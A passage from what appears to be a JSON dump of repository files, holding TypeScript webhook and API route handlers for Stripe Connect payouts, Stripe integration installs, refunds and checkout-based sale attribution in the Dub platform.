    "content": "import { recomputePartnerPayoutState } from \"@/lib/payouts/recompute-partner-payout-state\";\nimport { prisma } from \"@dub/prisma\";\nimport type Stripe from \"stripe\";\n\nexport async function accountApplicationDeauthorized(event: Stripe.Event) {\n  const stripeAccount = event.account;\n\n  if (!stripeAccount) {\n    return \"No stripeConnectId found in event. Skipping...\";\n  }\n\n  const partner = await prisma.partner.findUnique({\n    where: {\n      stripeConnectId: stripeAccount,\n    },\n    select: {\n      id: true,\n      email: true,\n      stripeConnectId: true,\n      stripeRecipientId: true,\n      paypalEmail: true,\n      payoutsEnabledAt: true,\n      defaultPayoutMethod: true,\n    },\n  });\n\n  if (!partner) {\n    return `Partner with stripeConnectId ${stripeAccount} not found, skipping...`;\n  }\n\n  const { payoutsEnabledAt, defaultPayoutMethod } =\n    await recomputePartnerPayoutState({\n      ...partner,\n      stripeConnectId: null,\n    });\n\n  await prisma.partner.update({\n    where: {\n      id: partner.id,\n    },\n    data: {\n      stripeConnectId: null,\n      payoutsEnabledAt,\n      defaultPayoutMethod,\n    },\n  });\n\n  return `Connected account ${stripeAccount} deauthorized, removed stripeConnectId for partner ${partner.email} (${partner.id})`;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/connect/webhook/account-updated.ts",
    "content": "import { detectDuplicatePayoutMethodFraud } from \"@/lib/api/fraud/detect-duplicate-payout-method-fraud\";\nimport { qstash } from \"@/lib/cron\";\nimport { getPartnerBankAccount } from \"@/lib/partners/get-partner-bank-account\";\nimport { recomputePartnerPayoutState } from \"@/lib/payouts/recompute-partner-payout-state\";\nimport { sendEmail } from \"@dub/email\";\nimport ConnectedPayoutMethod from \"@dub/email/templates/connected-payout-method\";\nimport DuplicatePayoutMethod from \"@dub/email/templates/duplicate-payout-method\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport Stripe from \"stripe\";\n\nconst stripePayoutQueue = qstash.queue({\n  queueName: \"send-stripe-payout\",\n});\n\nconst balanceAvailableQueue = qstash.queue({\n  queueName: \"handle-balance-available\",\n});\n\nexport async function accountUpdated(event: Stripe.Event) {\n  const account = event.data.object as Stripe.Account;\n  const { country } = account;\n\n  const partner = await prisma.partner.findUnique({\n    where: {\n      stripeConnectId: account.id,\n    },\n    select: {\n      id: true,\n      email: true,\n      stripeConnectId: true,\n      stripeRecipientId: true,\n      paypalEmail: true,\n      payoutsEnabledAt: true,\n      defaultPayoutMethod: true,\n      payoutMethodHash: true,\n    },\n  });\n\n  if (!partner) {\n    return `Partner with stripeConnectId ${account.id} not found, skipping...`;\n  }\n\n  const { payoutsEnabledAt, defaultPayoutMethod } =\n    await recomputePartnerPayoutState(partner);\n\n  const payoutStateChanged =\n    partner.payoutsEnabledAt !== payoutsEnabledAt ||\n    partner.defaultPayoutMethod !== defaultPayoutMethod;\n\n  if (!payoutStateChanged) {\n    return `No change in payout state for partner ${partner.email} (${partner.stripeConnectId}), skipping...`;\n  }\n\n  await prisma.partner.update({\n    where: {\n      id: partner.id,\n    },\n    data: {\n      payoutsEnabledAt,\n      defaultPayoutMethod,\n    },\n  });\n\n  if (partner.payoutsEnabledAt && !payoutsEnabledAt) {\n    return `Payouts disabled, updated partner ${partner.email} (${partner.stripeConnectId}) with payoutsEnabledAt null`;\n  }\n\n  const bankAccount = await getPartnerBankAccount(partner.stripeConnectId!);\n\n  if (!bankAccount) {\n    // TODO: account for cases where partner connects a debit card instead\n    return `No bank account found for partner ${partner.email} (${partner.stripeConnectId}), skipping...`;\n  }\n\n  const { payoutMethodHash } = await prisma.partner.update({\n    where: {\n      stripeConnectId: account.id,\n    },\n    data: {\n      country,\n      payoutsEnabledAt: partner.payoutsEnabledAt\n        ? undefined // Don't update if already set\n        : new Date(),\n      payoutMethodHash: bankAccount.fingerprint,\n    },\n  });\n\n  if (payoutMethodHash) {\n    const [duplicatePartnersCount, _] = await Promise.all([\n      prisma.partner.count({\n        where: {\n          payoutMethodHash,\n          id: {\n            not: partner.id,\n          },\n        },\n      }),\n\n      detectDuplicatePayoutMethodFraud({\n        payoutMethodHash,\n      }),\n    ]);\n\n    // Send confirmation email only if this is the first time connecting a bank account\n    if (\n      duplicatePartnersCount === 0 &&\n      partner.email &&\n      !partner.payoutsEnabledAt\n    ) {\n      await sendEmail({\n        variant: \"notifications\",\n        subject: \"Successfully connected payout method\",\n        to: partner.email,\n        react: ConnectedPayoutMethod({\n          email: partner.email,\n          payoutMethod: bankAccount,\n        }),\n      });\n    }\n\n    // Notify the partner about duplicate payout method\n    if (duplicatePartnersCount > 0 && partner.email) {\n      await sendEmail({\n        variant: \"notifications\",\n        subject: \"Duplicate payout method detected\",\n        to: partner.email,\n        react: DuplicatePayoutMethod({\n          email: partner.email,\n          payoutMethod: bankAccount,\n        }),\n      });\n    }\n  }\n\n  // Retry payouts that got stuck when the account was restricted\n  // (e.g: previously processed payouts OR payouts that were sent but paused due to verification requirements).\n  // Once payouts are re-enabled, queue them for processing.\n  const [previouslyProcessedPayouts, payoutsToWithdraw] = await Promise.all([\n    prisma.payout.count({\n      where: {\n        partnerId: partner.id,\n        status: \"processed\",\n        stripeTransferId: null,\n      },\n    }),\n    prisma.payout.count({\n      where: {\n        partnerId: partner.id,\n        status: \"sent\",\n        mode: \"internal\",\n      },\n    }),\n  ]);\n  console.log({ previouslyProcessedPayouts, payoutsToWithdraw });\n\n  await Promise.allSettled([\n    ...(previouslyProcessedPayouts > 0\n      ? [\n          stripePayoutQueue\n            .enqueueJSON({\n              url: `${APP_DOMAIN_WITH_NGROK}/api/cron/payouts/send-stripe-payout`,\n              method: \"POST\",\n              deduplicationId: `${event.id}-send-stripe-payout`,\n              body: {\n                partnerId: partner.id,\n              },\n            })\n            .then((res) => {\n              console.log(\n                `Enqueued send-stripe-payout queue for partner ${partner.id}: ${res.messageId}`,\n              );\n            }),\n        ]\n      : []),\n    ...(payoutsToWithdraw > 0\n      ? [\n          balanceAvailableQueue\n            .enqueueJSON({\n              url: `${APP_DOMAIN_WITH_NGROK}/api/cron/payouts/balance-available`,\n              deduplicationId: `${event.id}-balance-available`,\n              method: \"POST\",\n              body: {\n                stripeAccount: partner.stripeConnectId,\n              },\n            })\n            .then((res) => {\n              console.log(\n                `Enqueued balance-available queue for partner ${partner.stripeConnectId}: ${res.messageId}`,\n              );\n            }),\n        ]\n      : []),\n  ]);\n\n  return `Updated partner ${partner.email} (${partner.stripeConnectId}) with country ${country}, payoutsEnabledAt set, payoutMethodHash ${bankAccount.fingerprint}`;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/connect/webhook/balance-available.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport Stripe from \"stripe\";\n\nconst queue = qstash.queue({\n  queueName: \"handle-balance-available\",\n});\n\nexport async function balanceAvailable(event: Stripe.Event) {\n  const stripeAccount = event.account;\n\n  if (!stripeAccount) {\n    return \"No stripeConnectId found in event. Skipping...\";\n  }\n\n  const response = await queue.enqueueJSON({\n    url: `${APP_DOMAIN_WITH_NGROK}/api/cron/payouts/balance-available`,\n    deduplicationId: event.id,\n    method: \"POST\",\n    body: {\n      stripeAccount,\n    },\n  });\n\n  return `Enqueued handle-balance-available queue for partner ${stripeAccount}: ${response.messageId}`;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/connect/webhook/payout-failed.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport Stripe from \"stripe\";\n\nconst queue = qstash.queue({\n  queueName: \"handle-payout-failed\",\n});\n\nexport async function payoutFailed(event: Stripe.Event) {\n  const stripeAccount = event.account;\n\n  if (!stripeAccount) {\n    return \"No stripeConnectId found in event. Skipping...\";\n  }\n\n  const stripePayout = event.data.object as Stripe.Payout;\n\n  const response = await queue.enqueueJSON({\n    url: `${APP_DOMAIN_WITH_NGROK}/api/cron/payouts/payout-failed`,\n    deduplicationId: event.id,\n    method: \"POST\",\n    body: {\n      stripeAccount,\n      stripePayout: {\n        id: stripePayout.id,\n        amount: stripePayout.amount,\n        currency: stripePayout.currency,\n        failureMessage: stripePayout.failure_message,\n      },\n    },\n  });\n\n  return `Enqueued payout failed for partner ${stripeAccount}: ${response.messageId}`;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/connect/webhook/payout-paid.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport Stripe from \"stripe\";\n\nconst queue = qstash.queue({\n  queueName: \"handle-payout-paid\",\n});\n\nexport async function payoutPaid(event: Stripe.Event) {\n  const stripeAccount = event.account;\n\n  if (!stripeAccount) {\n    return \"No stripeConnectId found in event. Skipping...\";\n  }\n\n  const stripePayout = event.data.object as Stripe.Payout;\n  const stripePayoutTraceId = stripePayout.trace_id?.value ?? null;\n\n  const response = await queue.enqueueJSON({\n    url: `${APP_DOMAIN_WITH_NGROK}/api/cron/payouts/payout-paid`,\n    deduplicationId: event.id,\n    method: \"POST\",\n    body: {\n      stripeAccount,\n      stripePayout: {\n        id: stripePayout.id,\n        traceId: stripePayoutTraceId,\n        amount: stripePayout.amount,\n        currency: stripePayout.currency,\n        arrivalDate: stripePayout.arrival_date,\n      },\n    },\n  });\n\n  return `Enqueued payout paid for partner ${stripeAccount}: ${response.messageId}`;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/connect/webhook/route.ts",
    "content": "import { stripe } from \"@/lib/stripe\";\nimport { log } from \"@dub/utils\";\nimport { logAndRespond } from \"app/(ee)/api/cron/utils\";\nimport Stripe from \"stripe\";\nimport { accountApplicationDeauthorized } from \"./account-application-deauthorized\";\nimport { accountUpdated } from \"./account-updated\";\nimport { balanceAvailable } from \"./balance-available\";\nimport { payoutFailed } from \"./payout-failed\";\nimport { payoutPaid } from \"./payout-paid\";\n\nconst relevantEvents = new Set([\n  \"account.application.deauthorized\",\n  \"account.external_account.updated\",\n  \"account.updated\",\n  \"balance.available\",\n  \"payout.paid\",\n  \"payout.failed\",\n]);\n\n// POST /api/stripe/connect/webhook – listen to Stripe Connect webhooks (for connected accounts)\nexport const POST = async (req: Request) => {\n  const buf = await req.text();\n  const sig = req.headers.get(\"Stripe-Signature\");\n  const webhookSecret = process.env.STRIPE_CONNECT_WEBHOOK_SECRET;\n  let event: Stripe.Event;\n\n  try {\n    if (!sig || !webhookSecret) return;\n    event = stripe.webhooks.constructEvent(buf, sig, webhookSecret);\n  } catch (err: any) {\n    console.log(`❌ Error message: ${err.message}`);\n    return new Response(`Webhook Error: ${err.message}`, {\n      status: 400,\n    });\n  }\n\n  // Ignore unsupported events\n  if (!relevantEvents.has(event.type)) {\n    return new Response(\"Unsupported event, skipping...\", {\n      status: 200,\n    });\n  }\n\n  let response = \"OK\";\n  try {\n    switch (event.type) {\n      case \"account.application.deauthorized\":\n        response = await accountApplicationDeauthorized(event);\n        break;\n      case \"account.updated\":\n        response = await accountUpdated(event);\n        break;\n      case \"account.external_account.updated\":\n      case \"balance.available\":\n        response = await balanceAvailable(event);\n        break;\n      case \"payout.paid\":\n        response = await payoutPaid(event);\n        break;\n      case \"payout.failed\":\n        response = await payoutFailed(event);\n        break;\n    }\n  } catch (error) {\n    await log({\n      message: `Stripe Connect webhook failed (${event.type}). Error: ${error.message}`,\n      type: \"errors\",\n    });\n\n    return new Response(`Webhook error: ${error.message}`, {\n      status: 400,\n    });\n  }\n\n  return logAndRespond(`[${event.type}]: ${response}`);\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/integration/callback/route.ts",
    "content": "import { getSession } from \"@/lib/auth\";\nimport { installIntegration } from \"@/lib/integrations/install\";\nimport { redis } from \"@/lib/upstash\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN, getSearchParams, STRIPE_INTEGRATION_ID } from \"@dub/utils\";\nimport { redirect } from \"next/navigation\";\nimport { NextRequest } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nconst schema = z.object({\n  state: z.string(),\n  stripe_user_id: z.string().optional(),\n  error: z.string().optional(),\n  error_description: z.string().optional(),\n});\n\nexport const GET = async (req: NextRequest) => {\n  const session = await getSession();\n\n  if (!session?.user.id) {\n    return new Response(\"Unauthorized\", { status: 401 });\n  }\n\n  const parsed = schema.safeParse(getSearchParams(req.url));\n\n  if (!parsed.success) {\n    console.error(\"[Stripe OAuth callback] Error\", parsed.error);\n    return new Response(\"Invalid request\", { status: 400 });\n  }\n\n  const {\n    state,\n    stripe_user_id: stripeAccountId,\n    error,\n    error_description,\n  } = parsed.data;\n\n  // Find workspace that initiated the Stripe app install\n  const workspaceId = await redis.get<string>(`stripe:install:state:${state}`);\n\n  if (!workspaceId) {\n    redirect(APP_DOMAIN);\n  }\n\n  // Delete the state key from Redis\n  await redis.del(`stripe:install:state:${state}`);\n\n  if (error) {\n    const workspace = await prisma.project.findUnique({\n      where: {\n        id: workspaceId,\n      },\n    });\n    if (!workspace) {\n      redirect(APP_DOMAIN);\n    }\n    redirect(\n      `${APP_DOMAIN}/${workspace.slug}/settings/integrations/stripe?stripeConnectError=${error_description}`,\n    );\n  } else if (stripeAccountId) {\n    // Update the workspace with the Stripe Connect ID\n    const workspace = await prisma.project.update({\n      where: {\n        id: workspaceId,\n      },\n      data: {\n        stripeConnectId: stripeAccountId,\n      },\n    });\n\n    await installIntegration({\n      integrationId: STRIPE_INTEGRATION_ID,\n      userId: session.user.id,\n      workspaceId: workspace.id,\n    });\n\n    redirect(`${APP_DOMAIN}/${workspace.slug}/settings/integrations/stripe`);\n  }\n\n  return new Response(\"Invalid request\", { status: 400 });\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/integration/route.ts",
    "content": "import { DubApiError } from \"@/lib/api/errors\";\nimport { parseRequestBody } from \"@/lib/api/utils\";\nimport { withWorkspace } from \"@/lib/auth\";\nimport { installIntegration } from \"@/lib/integrations/install\";\nimport { prisma } from \"@dub/prisma\";\nimport { STRIPE_INTEGRATION_ID } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\n\nconst CORS_HEADERS = new Headers({\n  \"Access-Control-Allow-Origin\": \"*\",\n  \"Access-Control-Allow-Methods\": \"PATCH, OPTIONS\",\n  \"Access-Control-Allow-Headers\": \"Content-Type, Authorization\",\n});\n\n// PATCH /api/stripe/integration - update a workspace with a stripe connect account id\nexport const PATCH = withWorkspace(\n  async ({ req, workspace, session, token }) => {\n    const body = await parseRequestBody(req);\n    const { stripeAccountId } = z\n      .object({\n        stripeAccountId: z.string().nullable(),\n      })\n      .parse(body);\n\n    if (!token?.installationId) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: \"You are not authorized to update the stripe integration.\",\n      });\n    }\n\n    const installation = await prisma.installedIntegration.findUnique({\n      where: {\n        id: token.installationId,\n      },\n      select: {\n        integrationId: true,\n      },\n    });\n\n    if (!installation || installation.integrationId !== STRIPE_INTEGRATION_ID) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: \"You are not authorized to update the stripe integration.\",\n      });\n    }\n\n    try {\n      const response = await prisma.project.update({\n        where: {\n          id: workspace.id,\n        },\n        data: {\n          stripeConnectId: stripeAccountId,\n        },\n        select: {\n          stripeConnectId: true,\n        },\n      });\n\n      waitUntil(\n        (async () => {\n          const installation = await prisma.installedIntegration.findUnique({\n            where: {\n              userId_integrationId_projectId: {\n                userId: session.user.id,\n                projectId: workspace.id,\n                integrationId: STRIPE_INTEGRATION_ID,\n              },\n            },\n            select: {\n              id: true,\n            },\n          });\n\n          // Install the integration if it doesn't exist\n          if (!installation) {\n            await installIntegration({\n              userId: session.user.id,\n              workspaceId: workspace.id,\n              integrationId: STRIPE_INTEGRATION_ID,\n              credentials: {\n                stripeConnectId: stripeAccountId,\n              },\n            });\n          }\n\n          // Uninstall the integration if the stripe account id is null\n          if (installation && stripeAccountId === null) {\n            await prisma.installedIntegration.delete({\n              where: {\n                id: installation.id,\n              },\n            });\n          }\n        })(),\n      );\n\n      return NextResponse.json(response, {\n        headers: CORS_HEADERS,\n      });\n    } catch (error) {\n      if (error.code === \"P2002\") {\n        throw new DubApiError({\n          code: \"conflict\",\n          message: `The stripe connect account \"${stripeAccountId}\" is already in use.`,\n        });\n      }\n\n      throw new DubApiError({\n        code: \"internal_server_error\",\n        message: error.message,\n      });\n    }\n  },\n  {\n    requiredPlan: [\n      \"business\",\n      \"business plus\",\n      \"business extra\",\n      \"business max\",\n      \"advanced\",\n      \"enterprise\",\n    ],\n    requiredRoles: [\"owner\", \"member\"],\n  },\n);\n\nexport const OPTIONS = () => {\n  return new Response(null, {\n    status: 204,\n    headers: CORS_HEADERS,\n  });\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/integration/webhook/account-application-deauthorized.ts",
    "content": "import { StripeMode } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport { STRIPE_INTEGRATION_ID } from \"@dub/utils\";\nimport type Stripe from \"stripe\";\n\n// Handle event \"account.application.deauthorized\"\nexport async function accountApplicationDeauthorized(\n  event: Stripe.Event,\n  mode: StripeMode,\n) {\n  const stripeAccountId = event.account;\n\n  if (mode === \"test\") {\n    return `Stripe Connect account ${stripeAccountId} deauthorized in test mode. Skipping...`;\n  }\n\n  const workspace = await prisma.project.findUnique({\n    where: {\n      stripeConnectId: stripeAccountId,\n    },\n    select: {\n      id: true,\n    },\n  });\n\n  if (!workspace) {\n    return `Stripe Connect account ${stripeAccountId} deauthorized.`;\n  }\n\n  await prisma.project.update({\n    where: {\n      stripeConnectId: stripeAccountId,\n    },\n    data: {\n      stripeConnectId: null,\n    },\n    select: {\n      id: true,\n    },\n  });\n\n  await prisma.installedIntegration.deleteMany({\n    where: {\n      projectId: workspace.id,\n      integrationId: STRIPE_INTEGRATION_ID,\n    },\n  });\n\n  return `Stripe Connect account ${stripeAccountId} deauthorized for workspace ${workspace.id}`;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/integration/webhook/charge-refunded.ts",
    "content": "import { syncTotalCommissions } from \"@/lib/api/partners/sync-total-commissions\";\nimport { stripeAppClient } from \"@/lib/stripe\";\nimport { StripeMode } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport type Stripe from \"stripe\";\n\n// Handle event \"charge.refunded\"\nexport async function chargeRefunded(event: Stripe.Event, mode: StripeMode) {\n  const charge = event.data.object as Stripe.Charge;\n  const stripeAccountId = event.account as string;\n\n  const stripe = stripeAppClient({\n    mode,\n  });\n\n  // Charge doesn't have invoice property, so we need to get the invoice from the payment intent\n  const invoicePayments = await stripe.invoicePayments.list(\n    {\n      payment: {\n        payment_intent: charge.payment_intent as string,\n        type: \"payment_intent\",\n      },\n    },\n    {\n      stripeAccount: stripeAccountId,\n    },\n  );\n\n  const invoicePayment =\n    invoicePayments.data.length > 0 ? invoicePayments.data[0] : null;\n\n  if (!invoicePayment || !invoicePayment.invoice) {\n    return `Charge ${charge.id} has no invoice, skipping...`;\n  }\n\n  const workspace = await prisma.project.findUnique({\n    where: {\n      stripeConnectId: stripeAccountId,\n    },\n    select: {\n      id: true,\n      programs: true,\n    },\n  });\n\n  if (!workspace) {\n    return `Workspace not found for stripe account ${stripeAccountId}`;\n  }\n\n  if (!workspace.programs.length) {\n    return `Workspace ${workspace.id} for stripe account ${stripeAccountId} has no programs, skipping...`;\n  }\n\n  const commission = await prisma.commission.findUnique({\n    where: {\n      invoiceId_programId: {\n        invoiceId: invoicePayment.invoice as string,\n        programId: workspace.programs[0].id,\n      },\n    },\n    select: {\n      id: true,\n      status: true,\n      payoutId: true,\n      earnings: true,\n      partnerId: true,\n      programId: true,\n    },\n  });\n\n  if (!commission) {\n    return `Commission not found for invoice ${invoicePayment.invoice}`;\n  }\n\n  if (commission.status === \"paid\") {\n    return `Commission ${commission.id} is already paid, skipping...`;\n  }\n\n  // if the commission is processed and has a payout, we need to update the payout total\n  if (commission.status === \"processed\" && commission.payoutId) {\n    const payout = await prisma.payout.findUnique({\n      where: {\n        id: commission.payoutId,\n      },\n    });\n\n    if (payout) {\n      await prisma.payout.update({\n        where: {\n          id: payout.id,\n        },\n        data: {\n          amount: payout.amount - commission.earnings,\n        },\n      });\n    }\n  }\n\n  // update the commission status to refunded\n  await prisma.commission.update({\n    where: {\n      id: commission.id,\n    },\n    data: {\n      status: \"refunded\",\n      payoutId: null,\n    },\n  });\n\n  // sync total commissions for the partner in the program\n  await syncTotalCommissions({\n    partnerId: commission.partnerId,\n    programId: commission.programId,\n  });\n\n  return `Commission ${commission.id} updated to status \"refunded\"`;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/stripe/integration/webhook/checkout-session-completed.ts",
    "content": "import { convertCurrency } from \"@/lib/analytics/convert-currency\";\nimport { isFirstConversion } from \"@/lib/analytics/is-first-conversion\";\nimport { createId } from \"@/lib/api/create-id\";\nimport { detectAndRecordFraudEvent } from \"@/lib/api/fraud/detect-record-fraud-event\";\nimport { includeTags } from \"@/lib/api/links/include-tags\";\nimport { syncPartnerLinksStats } from \"@/lib/api/partners/sync-partner-links-stats\";\nimport { executeWorkflows } from \"@/lib/api/workflows/execute-workflows\";\nimport { generateRandomName } from \"@/lib/names\";\nimport { createPartnerCommission } from \"@/lib/partners/create-partner-commission\";\nimport { sendPartnerPostback } from \"@/lib/postback/api/send-partner-postback\";\nimport {\n  getClickEvent,\n  getLeadEvent,\n  recordLead,\n  recordSale,\n} from \"@/lib/tinybird\";\nimport { recordFakeClick } from \"@/lib/tinybird/record-fake-click\";\nimport { ClickEventTB, LeadEventTB, StripeMode } from \"@/lib/types\";\nimport { redis } from \"@/lib/upstash\";\nimport { sendWorkspaceWebhook } from \"@/lib/webhook/publish\";\nimport {\n  transformLeadEventData,\n  transformSaleEventData,\n} from \"@/lib/webhook/transform\";\nimport { prisma } from \"@dub/prisma\";\nimport { Customer, Project } from \"@dub/prisma/client\";\nimport { COUNTRIES_TO_CONTINENTS, nanoid, pick } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport type Stripe from \"stripe\";\nimport { getConnectedCustomer } from \"./utils/get-connected-customer\";\nimport { getPromotionCode } from \"./utils/get-promotion-code\";\nimport { getSubscriptionProductId } from \"./utils/get-subscription-product-id\";\nimport { updateCustomerWithStripeCustomerId } from \"./utils/update-customer-with-stripe-customer-id\";\n\n// Handle event \"checkout.session.completed\"\nexport async function checkoutSessionCompleted(\n  event: Stripe.Event,\n  mode: StripeMode,\n) {\n  let charge = event.data.object as Stripe.Checkout.Session;\n  let dubCustomerExternalId =\n    charge.metadata?.dubCustomerExternalId || charge.metadata?.dubCustomerId;\n  const clientReferenceId = charge.client_reference_id;\n  const stripeAccountId = event.account as string;\n  const stripeCustomerId = charge.customer as string;\n  const stripeCustomerName = charge.customer_details?.name;\n  const stripeCustomerEmail = charge.customer_details?.email;\n  const invoiceId = charge.invoice as string;\n  const promotionCodeId = charge.discounts?.[0]?.promotion_code as\n    | string\n    | null\n    | undefined;\n\n  let customer: Customer | null = null;\n  let existingCustomer: Customer | null = null;\n  let clickEvent: ClickEventTB | null = null;\n  let leadEvent: LeadEventTB | undefined;\n  let linkId: string | undefined;\n\n  const workspace = await prisma.project.findUnique({\n    where: {\n      stripeConnectId: stripeAccountId,\n    },\n    select: {\n      id: true,\n      stripeConnectId: true,\n      defaultProgramId: true,\n      webhookEnabled: true,\n    },\n  });\n\n  if (!workspace) {\n    return `Workspace with stripeConnectId ${stripeAccountId} not found, skipping...`;\n  }\n\n  /*\n      for stripe checkout links:\n      - if client_reference_id is a dub_id, we find the click event\n      - the click event will be used to create a lead event + customer\n      - the lead event will then be passed to the remaining logic to record a sale\n    */\n  if (clientReferenceId?.startsWith(\"dub_id_\")) {\n    const dubClickId = clientReferenceId.split(\"dub_id_\")[1];\n\n    clickEvent = await getClickEvent({ clickId: dubClickId });\n\n    if (!clickEvent) {\n      return `Click event with dub_id ${dubClickId} not found, skipping...`;\n    }\n\n    existingCustomer = await prisma.customer.findFirst({\n      where: {\n        projectId: workspace.id,\n        // check for existing customer with the same externalId (via clickId or email)\n        OR: [\n          {\n            externalId: clickEvent.click_id,\n          },\n          ...(stripeCustomerEmail\n            ? [\n                {\n                  externalId: stripeCustomerEmail,\n                },\n              ]\n            : []),\n        ],\n      },\n    });\n\n    const payload = {\n      name: stripeCustomerName,\n      email: stripeCustomerEmail,\n      // stripeCustomerId can potentially be null, so we use email as fallback\n      externalId: stripeCustomerId || stripeCustomerEmail,\n      projectId: workspace.id,\n      projectConnectId: stripeAccountId,\n      stripeCustomerId,\n      clickId: clickEvent.click_id,\n      linkId: clickEvent.link_id,\n      country: clickEvent.country,\n      clickedAt: new Date(clickEvent.timestamp + \"Z\"),\n    };\n\n    if (existingCustomer) {\n      customer = await prisma.customer.update({\n        where: {\n          id: existingCustomer.id,\n        },\n        data: payload,\n      });\n    } else {\n      customer = await prisma.customer.create({\n        data: {\n          id: createId({ prefix: \"cus_\" }),\n          ...payload,\n        },\n      });\n    }\n\n    // remove timestamp from clickEvent\n    const { timestamp, ...rest } = clickEvent;\n    leadEvent = {\n      ...rest,\n      workspace_id: clickEvent.workspace_id || customer.projectId, // in case for some reason the click event doesn't have workspace_id\n      event_id: nanoid(16),\n      event_name: \"Sign up\",\n      customer_id: customer.id,\n      metadata: \"\",\n    };\n\n    if (!existingCustomer) {\n      await recordLead(leadEvent);\n      waitUntil(incrementLinkLeads(clickEvent.link_id));\n    }\n\n    linkId = clickEvent.link_id;\n  } else if (stripeCustomerId) {\n    /*\n    for regular stripe checkout setup (provided stripeCustomerId is present):\n    - if dubCustomerExternalId is provided:\n      - we try to update the customer with the stripe customerId (for future events)\n       if the customer is not found, we check if a promotion code was used in the checkout:\n        - if yes, follow the promotion code logic below\n        - if no, we skip the event\n    - else:\n      - we first try to see if the customer with the Stripe ID already exists in Dub\n        - if it does, great, we can use the customer found on Dub\n      - if it doesn't, we try to find the customer on the connected account\n      - if present:\n          - we update the customer with the stripe customerId\n          - we then find the lead event using the customer's unique ID on Dub\n          - the lead event will then be passed to the remaining logic to record a sale\n      - if not present:\n          - we check if a promotion code was used in the checkout\n          - if a promotion code is present, we try to attribute via the promotion code:\n            - confirm the promotion code exists in Stripe\n            - find the associated discount code and link in Dub\n            - record a fake click event for attribution\n            - create a new customer and lead event\n            - proceed with sale recording\n          - if no promotion code or attribution fails, we skip the event\n  */\n    if (dubCustomerExternalId) {\n      customer = await updateCustomerWithStripeCustomerId({\n        stripeAccountId,\n        dubCustomerExternalId,\n        stripeCustomerId,\n      });\n\n      if (!customer) {\n        if (promotionCodeId) {\n          const promoCodeResponse = await attributeViaPromoCode({\n            promotionCodeId,\n            stripeAccountId,\n            workspace,\n            mode,\n            charge,\n          });\n          if (promoCodeResponse) {\n            ({ linkId, customer, clickEvent, leadEvent } = promoCodeResponse);\n          } else {\n            return `Failed to attribute via promotion code ${promotionCodeId}, skipping...`;\n          }\n        } else {\n          return `dubCustomerExternalId was provided but customer with dubCustomerExternalId ${dubCustomerExternalId} not found on Dub, skipping...`;\n        }\n      }\n    } else {\n      // find customer by stripeCustomerId or email\n      existingCustomer = await prisma.customer.findFirst({\n        where: {\n          OR: [\n            {\n              stripeCustomerId,\n            },\n            ...(stripeCustomerEmail\n              ? [\n                  {\n                    projectId: workspace.id,\n                    email: stripeCustomerEmail,\n                  },\n                ]\n              : []),\n          ],\n        },\n      });\n\n      if (existingCustomer) {\n        dubCustomerExternalId = existingCustomer.externalId ?? stripeCustomerId;\n        customer = existingCustomer;\n      } else {\n        const connectedCustomer = await getConnectedCustomer({\n          stripeCustomerId,\n          stripeAccountId,\n          mode,\n        });\n\n        const connectedCustomerDubCustomerExternalId =\n          connectedCustomer?.metadata.dubCustomerExternalId ||\n          connectedCustomer?.metadata.dubCustomerId;\n\n        if (connectedCustomerDubCustomerExternalId) {\n          dubCustomerExternalId = connectedCustomerDubCustomerExternalId;\n          customer = await updateCustomerWithStripeCustomerId({\n            stripeAccountId,\n            dubCustomerExternalId,\n            stripeCustomerId,\n          });\n          if (!customer) {\n            return `dubCustomerExternalId was found on the connected customer ${stripeCustomerId} but customer with dubCustomerExternalId ${dubCustomerExternalId} not found on Dub, skipping...`;\n          }\n        } else if (promotionCodeId) {\n          const promoCodeResponse = await attributeViaPromoCode({\n            promotionCodeId,\n            stripeAccountId,\n            workspace,\n            mode,\n            charge,\n          });\n          if (promoCodeResponse) {\n            ({ linkId, customer, clickEvent, leadEvent } = promoCodeResponse);\n          } else {\n            return `Failed to attribute via promotion code ${promotionCodeId}, skipping...`;\n          }\n        } else {\n          return `dubCustomerExternalId not found in Stripe checkout session metadata (nor is it available on the connected customer ${stripeCustomerId}), client_reference_id is not a dub_id, and promotion code is not provided, skipping...`;\n        }\n      }\n    }\n\n    // if leadEvent is not defined yet, we need to pull it from Tinybird\n    if (!leadEvent) {\n      const leadEventData = await getLeadEvent({ customerId: customer.id });\n      if (!leadEventData) {\n        return `No lead event found for customer ${customer.id}, skipping...`;\n      }\n      leadEvent = {\n        ...leadEventData,\n        workspace_id: leadEventData.workspace_id || customer.projectId, // in case for some reason the lead event doesn't have workspace_id\n      };\n      linkId = leadEvent.link_id;\n    }\n  } else {\n    return \"No stripeCustomerId or dubCustomerExternalId found in Stripe checkout session metadata, skipping...\";\n  }\n\n  let chargeAmountTotal =\n    (charge.amount_total ?? 0) - (charge.total_details?.amount_tax ?? 0);\n\n  // should never be below 0, but just in case\n  if (chargeAmountTotal <= 0) {\n    return `Checkout session completed 